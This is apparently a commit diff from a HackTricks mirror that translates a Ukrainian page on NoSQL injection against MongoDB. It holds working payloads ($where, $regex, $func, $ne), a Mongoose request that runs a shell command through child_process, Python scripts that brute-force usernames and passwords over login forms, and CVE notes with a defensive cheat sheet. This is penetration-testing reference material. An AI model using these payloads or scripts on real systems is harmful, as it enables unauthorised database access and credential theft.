mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to uk
This commit is contained in:
parent
ae1874abdd
commit
e23306e38d
@ -4,7 +4,7 @@
|
||||
|
||||
## Exploit
|
||||
|
||||
В PHP ви можете надіслати масив, змінивши надісланий параметр з _parameter=foo_ на _parameter\[arrName]=foo._
|
||||
В PHP ви можете надіслати масив, змінивши надісланий параметр з _parameter=foo_ на _parameter[arrName]=foo._
|
||||
|
||||
Експлойти базуються на додаванні **Оператора**:
|
||||
```bash
|
||||
@ -76,9 +76,9 @@ in JSON
|
||||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### PHP Arbitrary Function Execution
|
||||
### PHP Випадкове Виконання Функцій
|
||||
|
||||
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### Отримання інформації з різних колекцій
|
||||
|
||||
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
|
||||
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
|
||||
|
||||
**ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
|
||||
```json
|
||||
@ -114,7 +114,41 @@ in JSON
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
## MongoDB Payloads
|
||||
## Останні CVE та реальні експлойти (2023-2025)
|
||||
|
||||
### Rocket.Chat неавтентифікований сліпий NoSQLi – CVE-2023-28359
|
||||
Версії ≤ 6.0.0 відкривали метод Meteor `listEmojiCustom`, який передавав об'єкт **selector**, контрольований користувачем, безпосередньо до `find()`. Впроваджуючи оператори, такі як `{"$where":"sleep(2000)||true"}`, неавтентифікований атакуючий міг створити таймінговий оракул і ексфільтрувати документи. Помилка була виправлена в 6.0.1 шляхом валідації форми селектора та видалення небезпечних операторів.
|
||||
|
||||
### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 та CVE-2025-23061
|
||||
Коли `populate()` використовується з опцією `match`, Mongoose (≤ 8.8.2) копіював об'єкт дослівно *перед* відправкою його до MongoDB. Постачання `$where` таким чином виконувало JavaScript **всередині Node.js**, навіть якщо серверний JS був вимкнений на MongoDB:
|
||||
```js
|
||||
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
|
||||
Post.find()
|
||||
.populate({ path: 'author', match: req.query.author }); // RCE
|
||||
```
|
||||
Перший патч (8.8.3) заблокував верхній рівень `$where`, але вкладення його під `$or` обійшло фільтр, що призвело до CVE-2025-23061. Проблема була повністю виправлена в 8.9.5, і була введена нова опція підключення `sanitizeFilter: true`.
|
||||
|
||||
### GraphQL → Mongo filter confusion
|
||||
Resolvers, які безпосередньо передають `args.filter` у `collection.find()`, залишаються вразливими:
|
||||
```graphql
|
||||
query users($f:UserFilter){
|
||||
users(filter:$f){ _id email }
|
||||
}
|
||||
|
||||
# variables
|
||||
{ "f": { "$ne": {} } }
|
||||
```
|
||||
Зменшення: рекурсивно видаляти ключі, які починаються з `$`, явно вказувати дозволені оператори або перевіряти за допомогою бібліотек схеми (Joi, Zod).
|
||||
|
||||
## Захисний шпаргалка (оновлено 2025)
|
||||
|
||||
1. Видаляти або відхиляти будь-який ключ, який починається з `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
|
||||
2. Вимкнути серверний JavaScript на самостійно розгорнутому MongoDB (`--noscripting`, за замовчуванням у v7.0+).
|
||||
3. Віддавати перевагу `$expr` та агрегатним конструкторам замість `$where`.
|
||||
4. Ранньо перевіряти типи даних (Joi/Ajv) і не дозволяти масиви там, де очікуються скалярні значення, щоб уникнути трюків `[$ne]`.
|
||||
5. Для GraphQL перекладати аргументи фільтра через список дозволених; ніколи не розповсюджувати ненадійні об'єкти.
|
||||
|
||||
## MongoDB Пейлоади
|
||||
|
||||
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
@ -182,7 +216,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### Brute-force login usernames and passwords from POST login
|
||||
### Брутфорс логінів та паролів з POST логіна
|
||||
|
||||
Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
|
||||
```python
|
||||
@ -193,6 +227,7 @@ url = "http://example.com"
|
||||
headers = {"Host": "exmaple.com"}
|
||||
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
||||
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
||||
|
||||
def get_password(username):
|
||||
print("Extracting password of "+username)
|
||||
params = {"username":username, "password[$regex]":"", "login": "login"}
|
||||
@ -225,9 +260,10 @@ for u in get_usernames(""):
|
||||
get_password(u)
|
||||
```
|
||||
## Інструменти
|
||||
|
||||
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
|
||||
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
|
||||
|
||||
## Посилання
|
||||
|
||||
@ -236,5 +272,7 @@ get_password(u)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
|
||||
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user